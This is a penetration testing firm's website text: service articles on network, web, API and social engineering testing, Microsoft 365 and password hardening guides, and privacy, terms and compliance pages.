Premium pricing is not always justified. Some large consulting firms charge significant premiums reflecting brand name and overhead rather than testing quality. A Big Four firm is not necessarily providing better penetration testing than a specialized boutique — in many cases, the inverse is true.

How to Evaluate a Proposal

Ask specifically: is this manual testing or primarily automated scanning?
Ask about the certifications held by the engineers who will actually perform the test
Ask whether any work is subcontracted or performed offshore
Ask to see a sample report — report quality is indicative of test quality
Ask about experience in your specific industry and with your technology stack

Transparent pricing. No surprises.

Grid32's online quote builder gives you a clear, scope-based price. Build your quote in minutes.

Do You Provide Attestation and Client-Facing Reports?

How Grid32's attestation reports work and how organizations use them to satisfy auditors, customers, and cyber insurers.

Network Pentesting4 min read

What Is an Attestation Report?

An attestation report confirms that an independent security assessment was conducted, summarizes the scope and methodology, and attests to the overall security posture of the tested environment — typically without disclosing specific vulnerabilities discovered. It provides proof that you have taken proactive steps to validate your security without exposing sensitive findings to external parties.

Who Uses Attestation Reports?

Customers and clients — Enterprise customers increasingly require vendors to demonstrate independent security assessments. An attestation report satisfies this without sharing your internal findings.
Auditors — SOC 2, HIPAA, and other frameworks require evidence of security testing. Grid32's reports are structured to satisfy these requirements directly.
Cyber insurers — Many carriers require or provide premium discounts for organizations with documented penetration testing.
Regulators — Financial regulators (FINRA, FFIEC) and government contractors (CMMC) may require documented evidence of security assessments.
Board and senior leadership — A board-level attestation summary provides governance evidence that security testing is occurring regularly.

What Grid32 Provides

In addition to standard deliverables (executive summary, technical report, findings inventory), Grid32 can prepare customized attestation letters and client-summary documents tailored to your specific use case — whether you need to satisfy a customer questionnaire, regulatory submission, or audit requirement.

Give your customers and auditors the proof they need.

Grid32 provides attestation and client-summary documentation as part of every engagement.

I Have Cyber Insurance — Do I Still Need Penetration Testing?

Why cyber insurance and penetration testing serve different purposes — and why more insurers are requiring testing as a policy condition.

Network Pentesting5 min read

Insurance Pays for Breaches. Testing Prevents Them.

Cyber insurance and penetration testing are not alternatives. They are complements. Insurance provides financial recovery after a breach occurs. Penetration testing reduces the likelihood and severity of a breach occurring in the first place. One addresses consequence; the other addresses probability.

Cyber Insurers Are Increasingly Requiring Pentesting

The cyber insurance market has hardened significantly in recent years, driven by substantial losses from ransomware and data breach claims. In response, insurers have raised premiums, tightened coverage terms, and increasingly require applicants to demonstrate security hygiene — including documented penetration testing — as a condition of coverage or to qualify for better rates.

What Insurance Won't Cover

Reputational damage that your policy doesn't quantify
Regulatory fines and penalties in many jurisdictions
Loss of customer trust and contracts following a disclosed breach
Operational disruption of incident response, regardless of insurance payout

Policy Exclusions

Many cyber insurance policies include exclusions for breaches where the organization failed to maintain reasonable security practices. A history of penetration testing and documented remediation is evidence of reasonable security practice — which matters if you ever need to make a claim.

Reduce your risk and your insurance costs.

Grid32 provides the documented testing evidence that insurers, auditors, and customers increasingly require.

"Our IT Admin Says We're Secure" — Why That's Not Enough

Why internal confidence in your security posture is not a substitute for independent validation.

Network Pentesting5 min read

Internal Assessment Has Inherent Blind Spots

IT administrators and internal security teams are excellent at what they do — but they're assessing the same systems they built, configured, and maintain. That proximity creates blind spots. They know what they intended to build; they don't always see the gap between that intention and what was actually deployed. An outside team with no prior knowledge of your environment and an adversarial mindset will find things that internal teams consistently miss.

What Organizations Typically Find on Their First Test

In our experience over eighteen years and thousands of engagements, organizations that have never had a formal penetration test — regardless of how confident they feel — have significant findings. Common discoveries include:

Legacy systems or services running that IT wasn't aware of
Default or weak credentials on network devices, servers, or applications
Overly permissive internal access controls that allow lateral movement to sensitive assets
Unpatched systems in areas considered "low priority" that provide escalation paths
Web application vulnerabilities not discovered in development or QA
Wireless networks not properly segmented from the corporate environment

The CFO Analogy

No finance leader would tell their board "we don't need an external audit because our CFO says the numbers are right." The value of an independent audit is precisely its independence. Security is no different.

Give Your Admin the Backup They Need

An independent penetration test doesn't undermine your IT admin — it supports them. It provides evidence-based findings that make the case for remediation investment, and it gives leadership the independent validation they need to trust that your security posture is what it appears to be.

Find out what "secure" actually means for your environment.

An independent test from Grid32 gives you certainty — not confidence. There's a difference.

What Is Web Application Penetration Testing?

A complete introduction to web application security testing — what it is, how it works, and why automated scanners aren't enough.

Web App Pentesting6 min read

Web Applications Are a Primary Attack Target

Web applications are internet-facing, handle sensitive user data, and are built under constant development pressure, making security an easy afterthought. They're among the most commonly exploited assets in data breaches. Web application penetration testing is the most effective method available for identifying security flaws before attackers do.

What Is Web App Pentesting?

Web application penetration testing is a manual security assessment of your web application, its APIs, and the underlying infrastructure. Our engineers assess the application from multiple angles: as an unauthenticated external attacker, as a standard logged-in user, and as a privileged user — attempting at each level to access data and functionality they shouldn't be able to reach.

What We Look For

Injection vulnerabilities (SQL, command, LDAP, XPath)
Broken authentication and session management
Sensitive data exposure and insecure transmission
Insecure direct object references and broken access controls
Security misconfigurations and verbose error messages
Cross-site scripting (XSS) and cross-site request forgery (CSRF)
Business logic vulnerabilities unique to your application
API authentication and authorization flaws

Why Automated Scanners Aren't Sufficient

Automated scanners are fast and inexpensive, but they miss the vulnerabilities that matter most: business logic flaws, authentication bypasses, and complex attack chains. A scanner finds a known SQL injection pattern; a skilled engineer finds the combination of three individually-minor issues that together allow account takeover. Grid32's methodology is manual-first.

Your web application deserves more than a scanner report.

Grid32's AppSec engineers provide the depth of analysis your application security requires.

Web App Testing Scope: External, Credentialed & API

The different areas of web application penetration testing — what each perspective covers and why testing from multiple angles matters.

Web App Pentesting5 min read

Unauthenticated (External) Testing

Unauthenticated testing simulates an anonymous attacker with no login credentials — attempting to exploit vulnerabilities visible from the public-facing application. This reveals information disclosure, injection vulnerabilities, authentication bypass opportunities, and any content or functionality that should require authentication but doesn't.

Authenticated (Credentialed) Testing

Authenticated testing provides our engineers with standard user credentials and assesses what a logged-in user can access or manipulate beyond their intended permissions. This is where broken access control, insecure direct object references, privilege escalation, and horizontal privilege issues (accessing other users' data) are discovered. Many clients are surprised to learn that the most severe vulnerabilities in their application are in the authenticated portions — areas that external scanners never reach.

API Security Testing

Modern applications expose much of their functionality through APIs. These endpoints are frequently less scrutinized than the visible front-end, and often contain the same — or worse — vulnerabilities. API penetration testing specifically addresses authentication, authorization, rate limiting, input validation, and data exposure across your API layer.

Infrastructure and Hosting Review

Beyond the application code itself, we assess the security of the hosting environment — cloud configuration, server hardening, TLS configuration, dependency vulnerabilities, and deployment practices. Application-layer findings are often compounded by infrastructure weaknesses that amplify their impact.

Comprehensive web app security starts with the right scope.

Our team will help you define the right assessment for your application.

OWASP Testing Methodology: What It Is and Why It Matters

What OWASP is, why the OWASP Top 10 is the standard framework for web application security, and how Grid32 applies it in every engagement.

Web App Pentesting5 min read

What Is OWASP?

The Open Web Application Security Project (OWASP) is a nonprofit foundation that produces freely available research, tools, and standards for improving web application security. It's maintained by a global community of security researchers and practitioners and is widely recognized as the authoritative source on web application security best practices.

The OWASP Top 10

The OWASP Top 10 is a regularly-updated list of the most critical web application security risks — based on frequency of occurrence, severity, and detectability. The current Top 10 includes categories such as Broken Access Control, Cryptographic Failures, Injection, Security Misconfigurations, and Server-Side Request Forgery (SSRF), among others. Any serious web application penetration test should systematically address every category in the OWASP Top 10.

How Grid32 Uses OWASP

Grid32's web application testing methodology is built around the OWASP Testing Guide — the most comprehensive resource for web application security assessment. We use it as the structural backbone of every web app engagement, ensuring systematic coverage of all major vulnerability classes while leaving room for creative, application-specific testing that uncovers business logic flaws and novel attack paths.

Beyond the Top 10

The OWASP Top 10 captures the most common risks — but real applications have unique attack surfaces. Our engineers go beyond the checklist, developing application-specific attack scenarios based on your technology stack, functionality, and business context. The combination of systematic coverage and adversarial creativity is what distinguishes a thorough pentest from a scan.

OWASP-aligned testing for your web application.

Grid32's AppSec team covers the OWASP framework and goes beyond it — delivering findings your development team can act on immediately.

API Penetration Testing

APIs are increasingly the primary attack surface for sophisticated attackers. What API testing covers and why it deserves dedicated attention.

Web App Pentesting5 min read

Why APIs Are a Growing Attack Target

Modern applications are heavily API-driven. Mobile apps, single-page applications, third-party integrations, and microservices architectures all rely on APIs to function. This means that an application's business logic — and its most sensitive data — is increasingly accessible through API endpoints that may receive far less security scrutiny than the visible front-end.

What API Penetration Testing Covers

Authentication and authorization — Can an unauthenticated user call API endpoints? Can an authenticated user access resources belonging to other users?
Broken object level authorization (BOLA/IDOR) — The most common and impactful API vulnerability: changing an ID in a request to access another user's data
Excessive data exposure — Do API responses return more data than the client interface displays?
Rate limiting and resource exhaustion — Can the API be abused to enumerate users, brute-force credentials, or cause denial of service?
Mass assignment — Can API parameters be manipulated to write to fields that should be read-only?
Injection in API parameters — SQL, command, and other injection vulnerabilities via API request bodies and query strings

REST, GraphQL, and SOAP

Grid32 tests all common API architectures: RESTful APIs, GraphQL endpoints (including introspection abuse and query depth attacks), and legacy SOAP-based web services. Each architecture has a distinct attack surface, and our engineers are experienced with all of them.

Is your API as secure as your application front-end?

Grid32's web app testing includes dedicated API security assessment — ensuring nothing is left unexplored.

Email Phishing Assessments

How Grid32's email phishing campaigns work — from basic spam simulations to sophisticated spear-phishing — and what the results tell you about your organization's risk.

Social Engineering6 min read

Email Phishing: Still the Most Effective Attack Vector

Despite decades of security awareness campaigns, email phishing remains the single most successful method attackers use to gain initial access to organizations. A convincing email — especially a targeted spear-phishing message — is extremely difficult to distinguish from legitimate correspondence, even for trained security professionals.

How Our Email Phishing Assessments Work

Grid32's email phishing campaigns use a staged approach. We begin with broad, low-sophistication messages — the kind your email filters should catch — and progressively increase sophistication, advancing to:

Targeted spear-phishing using publicly available information about your organization
Business email compromise scenarios impersonating executives or finance personnel
Mimicked domains that closely resemble your organization's actual domains
Credential harvesting pages that capture login attempts
Malicious attachment simulations that assess whether users open files from unknown senders

This staged approach reveals not just whether your users will fall victim, but at what level of sophistication — which is exactly the information you need to calibrate your defenses.

What We Measure

Our email phishing report tracks open rates, click rates, credential submission rates, and attachment interaction rates across all campaign stages. Results are provided at both aggregate and individual level (where authorized), enabling targeted follow-up training for the most susceptible users.

Combining With Security Awareness Training

The results of a real phishing assessment are the most powerful input for security awareness training. Employees who fell for a simulated attack are far more receptive to learning — the experience makes the risk real in a way that generic training videos never can.

Find out how your organization responds to a phishing attack.

Grid32's phishing assessments provide the evidence you need to make the case for stronger defenses.

Phone Phishing (Vishing) Testing

What vishing is, how Grid32's phone-based social engineering assessments work, and why telephone attacks remain a high-success attack vector.

Social Engineering5 min read

What Is Vishing?

Vishing — voice phishing — is the use of telephone calls to manipulate individuals into revealing sensitive information, performing actions, or granting access they shouldn't. Attackers impersonate IT support, executives, HR personnel, vendors, or regulators to create urgency and authority that overrides users' normal judgment.

Why Vishing Works

Phone calls activate a different psychological response than emails. The real-time, conversational nature creates pressure that email does not. Caller ID spoofing makes it trivial to appear to be calling from inside your organization. And most employees have never received vishing awareness training — they're trained to spot phishing emails, not manipulative phone calls.

How Grid32's Vishing Assessments Work

Our engineers use a range of pre-designed social engineering scenarios — adapted to your organization's structure and industry — and vary techniques based on results as the engagement progresses. Common scenarios include:

IT help desk impersonation requesting credentials for "account verification"
Executive or leadership impersonation requesting urgent wire transfers or information
Vendor or supplier impersonation attempting to update payment details
HR or payroll impersonation requesting personal employee information

Both live human calls and automated scenarios are used, as attackers use both and each produces different results. All calls are designed to be non-disruptive — typically under a minute per contact.

Would your staff recognize a vishing call?

Find out with a professional social engineering assessment from Grid32.

SMS Phishing (Smishing) Testing

Why text message-based social engineering is a growing and highly effective attack vector — and what Grid32's smishing assessments involve.

Social Engineering4 min read

The Rise of SMS-Based Attacks

SMS phishing — or smishing — is one of the fastest-growing attack vectors in the social engineering landscape. Key factors make it particularly effective: most users are far less suspicious of text messages than emails, SMS bypasses corporate email filters entirely, text messages have significantly higher open and click rates than email, and two-factor authentication codes sent via SMS are a high-value target.

Common Smishing Scenarios

Fake IT notifications requesting credential confirmation via a spoofed login page
HR or payroll impersonation requesting personal information updates
Package delivery notifications with malicious links
Executive impersonation requesting urgent responses or information
Two-factor authentication code harvesting via social engineering

How Grid32's Smishing Assessments Work

For smishing assessments, it's best to provide Grid32 with a list of authorized employee phone numbers — ensuring we only contact authorized targets and that message rates are managed appropriately on company-provided devices. Our engineers craft messages tailored to your organization and adapt based on results throughout the campaign.

Results are reported with the same granularity as email phishing — click rates, credential submission rates, and individual-level details where authorized.

Is your organization prepared for SMS-based attacks?

Add smishing to your social engineering assessment scope and find out.

Physical On-Site Social Engineering Testing

What physical social engineering testing involves, what attackers can do with facility access, and why physical security deserves the same rigor as your digital defenses.

Social Engineering6 min read

The Physical Attack Vector

Physical access to a facility dramatically expands an attacker's capabilities. Once inside, a threat actor can plant hardware keyloggers between keyboards and computers, deploy network implants that create persistent remote access, plug into internal Ethernet ports, access unattended workstations, or photograph sensitive documents — all without touching your digital perimeter. Despite this, physical security is the least-tested element of most organizations' security posture.

How Physical Social Engineering Testing Works

Grid32's on-site social engineering assessments involve our engineers visiting your facility and attempting to gain physical access using deception and social engineering. Methods are adapted to your building layout, access control systems, and security staff. Typical scenarios include:

Posing as a delivery courier or package service requiring building access
Impersonating an IT or facilities contractor
Tailgating through secured doors behind authorized employees
Social engineering reception or security staff to gain visitor access
Using exit-side doors during high-traffic periods (lunch, end of day)

What We Attempt to Do With Access

If facility access is gained, we attempt to reach network resources — internal Ethernet ports, unattended workstations, server rooms, or network closets — and document how far we were able to go. We never disrupt operations, damage property, or engage in any action that is not pre-authorized in the engagement scope.

Operational Considerations

All physical assessments are carefully scoped in advance. We work with your operations and security leadership to define clear boundaries, establish an emergency contact protocol, and ensure all testing is properly authorized. Discretion and operational safety are paramount.

Could someone walk into your facility and access your network?

Find out with a physical social engineering assessment from Grid32.

What Does a Social Engineering Assessment Report Include?

What Grid32 delivers after a phishing or social engineering engagement — including campaign statistics, individual results, and recommendations.

Social Engineering4 min read

A Report Designed for Multiple Audiences

Like our network and web application reports, social engineering deliverables are designed to be useful to multiple audiences — from leadership making risk decisions to HR teams managing employee follow-up to IT teams tuning email filters and security controls.

Campaign Overview and Statistics

For each campaign type conducted (email, phone, SMS, physical), the report includes high-level statistics: number of individuals tested, open rates, click rates, credential submission rates, and call interaction rates. Presented with clear visual charts that make trends and outliers immediately apparent.

Progression and Sophistication Analysis

Because Grid32's campaigns are staged — starting broad and escalating in sophistication — the report shows at what level of attack sophistication your defenses and users begin to fail. This is more actionable than a simple pass/fail rate.

Individual-Level Results

Where authorized by the client, individual-level results are included — identifying which users fell for which campaigns. This enables targeted follow-up training for the highest-risk individuals, which is significantly more effective than organization-wide generic training.

Technical Findings and Recommendations

The report also covers how email filtering systems performed, whether phishing infrastructure was detected, how quickly alerts were generated, and specific configuration recommendations for email security controls. Every report concludes with prioritized recommendations spanning technical controls, policy changes, and training recommendations.

Find out exactly how your organization responds to attack.

Grid32's social engineering assessments deliver the detailed, actionable results your security program needs.

How to Blacklist Specific Words From Passwords in Active Directory

Step-by-step guidance on implementing custom password blacklists in Active Directory using Microsoft's Password Protection feature.

Best Practices7 min read

Why Password Blacklisting Matters

Even with strong complexity requirements, users frequently choose passwords that include obvious words — your company name, your city, product names, sports teams, or seasonal patterns like "Summer2024!" These passwords satisfy complexity rules but are trivially guessable through targeted dictionary attacks. In nearly every internal penetration test we conduct, password spraying attacks using organization-specific terms are among the first techniques we apply — and among the most successful.

Microsoft Active Directory Password Protection

AD Password Protection has two components: the globally banned password list (maintained by Microsoft, updated automatically) and a custom banned password list that you control. Both are enforced by DC agents installed on your domain controllers, with an Azure AD Password Protection Proxy service for on-premises environments.

What to Include in Your Custom Banned List

Your organization's name and common abbreviations
Your product or service names
Your city, state, and office location names
Your domain name and subdomain names
Seasonal patterns ("Spring", "Summer", "Winter", "Fall")
Current year and near-future years
Common industry-specific terms in your sector
Names of leadership, buildings, or office locations
Previously breached passwords from your own environment

Implementation Steps (On-Premises AD)

In the Azure portal, navigate to Azure Active Directory → Security → Authentication Methods → Password Protection
Enable "Custom banned passwords" and enter your organization-specific terms, one per line
Set Lockout threshold and duration appropriate for your environment
Download and install the Azure AD Password Protection DC Agent on all domain controllers
Install the Azure AD Password Protection Proxy service on domain-joined servers (minimum two for redundancy)
Register the proxy servers with Azure AD using Register-AzureADPasswordProtectionProxy
Register the forest using Register-AzureADPasswordProtectionForest
Set the DC agent to Audit mode initially, review event logs, then switch to Enforcement mode

Weak passwords are among the most exploited findings in our network tests.

Find out whether your password policies are holding up under adversarial testing.

How to Blacklist Specific Words From Passwords in Microsoft 365

Configuring custom banned password lists in Microsoft 365 / Azure Active Directory to protect cloud accounts from organization-specific password attacks.

Best Practices5 min read

Cloud Account Password Security

Microsoft 365 accounts — email, SharePoint, Teams, OneDrive — are among the highest-value targets in any organization's environment. Compromising a single M365 account through password spraying or credential stuffing can provide access to sensitive emails, files, and communication that enables further attacks. Custom banned password lists are a straightforward and highly effective control.

Azure AD Custom Banned Passwords (Cloud-Only)

Sign in to the Azure portal as a Global Administrator
Navigate to Azure Active Directory → Security → Authentication Methods → Password Protection
Under "Custom banned passwords," toggle to "Yes"
In the "Custom banned password list" field, enter your organization-specific terms — one per line, minimum 4 characters, maximum 1,000 entries
Save the configuration

The custom list is case-insensitive and applies fuzzy matching — common character substitutions (@ for a, 3 for e, etc.) are automatically blocked.

What to Include in Your Banned List

Company name and abbreviations
Product, service, and brand names
Office locations and city names
Domain and subdomain names
Common seasonal and year-based terms
Names of executives and well-known staff members

Pairing With Multi-Factor Authentication

Custom banned password lists significantly reduce password-based attack risk — but don't eliminate it. MFA remains the single most impactful control for protecting cloud accounts. See our Microsoft 365 security hardening guide for complete MFA configuration recommendations.

Is your M365 environment as hardened as it should be?

Microsoft 365 misconfigurations are among the most common findings in our external assessments.

Password Policy Recommendations: Strength, Length, and Rotation

Current best practice guidance on password policies — including what NIST, Microsoft, and real-world pentest experience says about length, complexity, and MFA.

Best Practices6 min read

Password Policy Has Evolved. Are Your Policies Current?

Password best practices have shifted significantly in recent years. NIST's updated Digital Identity Guidelines (SP 800-63B) and Microsoft's own security recommendations have moved away from several long-held conventions that are now understood to make passwords less secure rather than more.

What NIST Now Recommends

Minimum length of at least 8 characters — but 12–16 is significantly better; passphrases of 20+ characters are excellent
Do NOT require regular rotation — Mandatory periodic changes (90-day cycles) cause users to make small, predictable changes and actually reduce security
DO require changes on evidence of compromise — If a credential appears in a breach dataset or is suspected compromised, require an immediate change
Screen against known compromised passwords — Check new passwords against breach datasets and your custom banned list
Allow all printable characters — Don't artificially restrict special characters
No complexity requirements that reduce entropy — Requiring "at least one uppercase, lowercase, number, and symbol" often results in predictable patterns like "Password1!" that crack immediately

What Pentest Experience Confirms

In internal penetration tests, the most commonly cracked passwords share a pattern: they meet complexity requirements but are variations on predictable patterns. "Company2024!", "Summer23", "[City]P@ss" — these crack immediately in targeted attacks. Length is far more valuable than mandatory complexity.

Multi-Factor Authentication Is Not Optional

No password policy fully compensates for the absence of MFA. Even strong, unique passwords can be captured via phishing or keyloggers. MFA — particularly TOTP authenticator apps or hardware tokens — provides a critical secondary layer that password policy alone cannot.

Find out if your password policies are holding up under attack.

Internal network tests routinely find that weak credentials are the path of least resistance.

Things to Have in Place Before a Security Incident Occurs

The preparation that dramatically reduces the damage of a security incident — and that most organizations only wish they'd done sooner.

Best Practices7 min read

The Cost of Improvising During an Incident

Organizations that experience a significant security incident without an incident response plan consistently report chaotic, poorly-coordinated responses that extend dwell time, increase damage, complicate forensics, and create additional regulatory exposure. The decisions that need to be made in the first hours of a breach are far harder to make well under pressure without a pre-established framework.

Incident Response Plan

An incident response plan (IRP) documents who does what when a security incident occurs. At minimum, it should address:

Definition of what constitutes a security incident requiring plan activation
Incident response team composition and contact information
Escalation and notification procedures — who gets called, in what order, at what thresholds
Evidence preservation and forensic chain of custody procedures
Containment, eradication, and recovery procedures for common incident types (ransomware, data breach, account compromise)
External communication and public relations procedures
Regulatory and legal notification obligations — breach notification timelines vary by jurisdiction and industry

Retain a Security Incident Response Firm Before You Need One

Trying to hire a forensic incident response firm in the middle of an active breach is difficult and expensive. Retaining an IR firm in advance gives you a pre-negotiated agreement, a team that already understands your environment, and immediate availability when you need them.

Logging and Detection

You cannot respond to what you cannot see. Before an incident, ensure you have comprehensive logging in place — Windows event logs, firewall logs, DNS logs, authentication logs, and endpoint detection and response (EDR) coverage where possible. Logs should be centralized in a SIEM and retained for a sufficient period (90 days minimum; 12 months for regulated environments).

Backup and Recovery

Ransomware is the most common severe incident type affecting mid-market organizations. Effective, tested, offline backup — following the 3-2-1 rule (three copies, two media types, one offsite/offline) — is the single most important control for recovering from ransomware without paying a ransom. Test your backups regularly; untested backups frequently fail when needed.

Are you prepared for an incident?

A penetration test reveals your vulnerabilities before an attacker does. Contact Grid32 to discuss testing and incident preparedness.

Microsoft 365 Security Hardening Recommendations

Critical security configurations every Microsoft 365 organization should review — covering MFA, conditional access, anti-phishing, email authentication, and more.

Best Practices9 min read

Why M365 Security Requires Active Configuration

Microsoft 365's default security configuration prioritizes usability and broad compatibility — not hardened security. Out of the box, M365 environments frequently lack critical protections that are available but not enabled by default. Organizations that rely on default settings are leaving significant attack surface exposed. CISA and NCSC have both published specific M365 security guidance following high-profile attacks against M365 environments.

1. Multi-Factor Authentication

Enable MFA for all accounts — no exceptions. Use Conditional Access policies (available in Azure AD P1 and above) rather than per-user MFA. Disable legacy authentication protocols (IMAP, POP3, SMTP AUTH, Basic Auth) which bypass MFA entirely and represent a critical exposure in most M365 environments.

2. Conditional Access Policies

Require MFA for all users for all cloud apps
Block legacy authentication protocols
Require compliant or hybrid Azure AD joined devices for sensitive workloads
Block access from countries where you have no legitimate business presence
Enable sign-in risk and user risk policies through Azure AD Identity Protection (P2)

3. Email Authentication (SPF, DKIM, DMARC)

Configure SPF, DKIM, and DMARC for all sending domains. A DMARC policy of p=reject prevents your domain from being spoofed in phishing campaigns against your customers and partners. Absence of DMARC is a finding in nearly every external assessment we conduct.

4. Anti-Phishing and Anti-Malware Policies

Enable Microsoft Defender for Office 365 (Plan 1 minimum) for Safe Links and Safe Attachments
Configure anti-phishing policies with impersonation protection for executive accounts and key domains
Enable "First contact safety tips" to warn users receiving email from first-time senders
Set Safe Attachments to Dynamic Delivery to detonate attachments in a sandbox before delivery

5. Privileged Identity and Access Management

Reduce the number of Global Administrators to the minimum necessary (2–4 maximum)
Enable Privileged Identity Management (PIM) for just-in-time elevation of administrative roles
Create emergency access ("break glass") accounts with strong passwords and hardware MFA, documented and monitored
Review and remove guest accounts that are no longer active
Audit application permissions — third-party apps with excessive OAuth permissions are a frequent attack vector

6. Audit Logging and Alerting

Enable Unified Audit Logging and retain logs for a minimum of 90 days
Configure alerts for suspicious sign-in activity, bulk mail deletion, unusual forwarding rules, and new admin role assignments
Review mailbox delegation and mail forwarding rules regularly — attackers frequently establish forwarding rules for persistent access after initial compromise

Is your Microsoft 365 environment properly hardened?

Grid32's external assessments frequently identify M365 misconfigurations that create significant exposure. Find out where you stand.

Privacy Policy

How Grid32 collects, uses, and protects the information you provide when contacting us or requesting a quote.

Effective date: April 2026 · Grid32, LLC · 111 Town Square Place, Jersey City, NJ 07310

Overview

Grid32, LLC ("Grid32," "we," or "us") operates grid32.com as a business website for a cybersecurity services firm. This policy explains what personal information we collect through this website, how we use it, and your rights with respect to that information. We do not sell products online, accept payments through this site, or maintain user accounts. The only personal information we collect is what you voluntarily provide when contacting us or submitting a quote request.

Information We Collect

When you submit the contact form or online quote builder on this site, we collect the information you provide, which may include:

—Your name and title
—Your email address and phone number
—Your company name and industry
—Details about the services you are inquiring about
—Any additional context you choose to include in your message

We do not collect payment information, create user accounts, or use tracking cookies or third-party analytics on this site. Standard web server logs may record your IP address and browser type as part of normal site operation.

How We Use Your Information

We use the information you provide solely to:

—Respond to your inquiry or quote request
—Prepare and deliver a Statement of Work or engagement proposal
—Communicate with you regarding your engagement with Grid32

We do not use your information for marketing purposes, add you to mailing lists without your consent, or share your information with third parties for their own commercial use.

How Your Submission Is Transmitted

Form submissions are transmitted over HTTPS directly to our team. We do not use third-party form processors or marketing platforms. Your submission data is not stored in any external database — it is delivered directly to our internal team as a notification.

Information Sharing

Grid32 does not sell, rent, or share your personal information with third parties. We may disclose your information if required to do so by law or in response to a valid legal process.

Data Retention

Information submitted through this site is retained only as long as necessary to respond to your inquiry and, if an engagement results, to fulfill our contractual obligations. If you would like your information removed from our records, contact us at the address below and we will honor that request promptly.

Children

This website is intended for business use and is not directed at children under the age of 13. We do not knowingly collect personal information from children.

Changes to This Policy

We may update this policy from time to time. The effective date at the top of this page will reflect when it was last revised. Continued use of this site after any changes constitutes acceptance of the revised policy.

Contact

If you have questions about this policy or would like to request deletion of your information:

Grid32, LLC · 111 Town Square Place, Jersey City, NJ 07310
[email protected] · (800) 936-3204

Terms of Use

The terms governing your use of the Grid32 website and the information contained on it.

Effective date: April 2026 · Grid32, LLC · 111 Town Square Place, Jersey City, NJ 07310

Acceptance of Terms

By accessing or using grid32.com (the "Site"), you agree to be bound by these Terms of Use. If you do not agree, please do not use the Site. Grid32, LLC reserves the right to modify these terms at any time. Continued use of the Site after changes are posted constitutes acceptance of the revised terms.

Use of the Site

This Site is provided for informational purposes and to facilitate inquiries about Grid32's cybersecurity services. You agree to use the Site only for lawful purposes and in a manner that does not infringe the rights of others. You may not:

—Use the Site to transmit unsolicited communications or malicious code
—Attempt to gain unauthorized access to any portion of the Site or its infrastructure
—Scrape, crawl, or harvest content from this Site without written permission
—Use the Site in any way that could damage, disable, or impair its operation

Intellectual Property

All content on this Site — including text, graphics, logos, service descriptions, and the Knowledge Hub articles — is the property of Grid32, LLC and is protected by applicable copyright and intellectual property law. You may not reproduce, distribute, or create derivative works from any Site content without our prior written consent. Linking to the Site is permitted provided it does not imply endorsement or affiliation.

No Professional Advice

The content on this Site — including all Knowledge Hub articles — is provided for general informational purposes only. Nothing on this Site constitutes legal, regulatory, or professional cybersecurity advice, and it should not be relied upon as such. Every organization's security environment is unique. Consult a qualified professional before making security, compliance, or risk management decisions. Viewing or using content on this Site does not create a client relationship with Grid32.

Disclaimer of Warranties

This Site is provided "as is" without warranties of any kind, express or implied. Grid32 does not warrant that the Site will be uninterrupted, error-free, or free of viruses or other harmful components. We make no warranties regarding the accuracy, completeness, or timeliness of any content on the Site.

Limitation of Liability

To the fullest extent permitted by law, Grid32, LLC shall not be liable for any indirect, incidental, special, or consequential damages arising from your use of or inability to use this Site, even if Grid32 has been advised of the possibility of such damages. Grid32's total liability for any claim arising from your use of the Site shall not exceed one hundred dollars ($100).

Third-Party Links

The Site may contain links to third-party websites. These links are provided for convenience only. Grid32 has no control over and assumes no responsibility for the content, privacy policies, or practices of any third-party sites.

Governing Law

These Terms of Use are governed by the laws of the State of New Jersey, without regard to its conflict of law provisions. Any dispute arising from these terms or your use of the Site shall be resolved exclusively in the state or federal courts located in Union County, New Jersey.

Contact

Questions about these terms may be directed to:
Grid32, LLC · 111 Town Square Place, Jersey City, NJ 07310
[email protected] · (800) 936-3204

Accessibility Statement

Grid32 is committed to making this website accessible to all users, including those with disabilities.

Last reviewed: April 2026 · Grid32, LLC

Our Commitment

Grid32 is committed to ensuring that grid32.com is accessible to people with disabilities. We aim to meet the Web Content Accessibility Guidelines (WCAG) 2.1 Level AA standard, and we actively review and improve the accessibility of this site on an ongoing basis.

Measures We Have Taken

—All images include descriptive alternative text
—Color contrast ratios meet or exceed WCAG 2.1 AA requirements throughout the site
—All interactive elements are keyboard navigable
—A skip navigation link is provided for screen reader and keyboard users
—Form fields are properly labeled for assistive technology
—The site uses semantic HTML landmarks including navigation, main, and footer regions
—The page language is declared in the HTML to support screen readers
—Interactive elements that are not native buttons include appropriate ARIA roles
—Each page section has a unique, descriptive URL and title for direct linking and bookmarking

Known Limitations

We are not aware of any significant accessibility barriers on this site at this time. If you encounter difficulty accessing any content or functionality, please contact us using the information below and we will address it promptly.

Feedback and Assistance

If you experience any difficulty accessing content on this site, or if you need information in an alternative format, please contact us. We will respond promptly and work to provide the information or assistance you need.

Accessibility contact:
Email: [email protected]
Phone: (800) 936-3204
Mail: Grid32, LLC · 111 Town Square Place, Jersey City, NJ 07310

We take accessibility feedback seriously. If you believe we have not adequately addressed an accessibility concern, please let us know and we will prioritize a resolution.

Compliance-Driven Security Testing

Regulations increasingly require independent penetration testing. Here is what your framework demands, what auditors expect, and how Grid32 helps you satisfy every requirement.

For many organizations, the question is no longer whether to conduct penetration testing — it's which regulatory framework requires it and how to document compliance. NYDFS, SOC 2, PCI DSS, HIPAA, CMMC, and cyber insurance carriers now all either mandate or strongly incentivize independent security testing. This guide covers what each framework requires, how to prepare, and what you receive from Grid32 to satisfy your auditors.

Why Compliance Now Drives Pentesting Demand

Penetration testing has shifted from a best practice to a compliance requirement across multiple frameworks. The regulatory landscape has evolved significantly: NYDFS amended its cybersecurity regulation in 2023 with stricter enforcement beginning in 2025, PCI DSS 4.0 introduced new testing requirements that took effect in 2024, and proposed HIPAA amendments would make penetration testing an explicit requirement for healthcare organizations. Meanwhile, cyber insurers have begun requiring evidence of regular testing as a condition of coverage.

The result is that organizations in financial services, healthcare, legal, retail, and government contracting are increasingly required — not just encouraged — to conduct independent security testing on a defined schedule.

Framework-by-Framework Overview

NYDFS (23 NYCRR 500) — Annual penetration testing required for all covered financial entities in New York. The 2023 amendments added personal liability for CEOs and CISOs. Full NYDFS guide →
SOC 2 — Penetration testing is expected as part of the security and availability trust service criteria, and auditors increasingly require evidence of it. Full SOC 2 guide →
PCI DSS — Requirement 11.3 mandates internal and external penetration testing at least annually and after significant infrastructure changes. Full PCI DSS guide →
HIPAA — Currently requires risk assessments; proposed amendments would mandate explicit penetration testing for covered entities and business associates. Full HIPAA guide →
CMMC — Level 3 effectively requires penetration-type testing for DoD contractors handling sensitive data. The October 2026 deadline is approaching rapidly. Full CMMC guide →
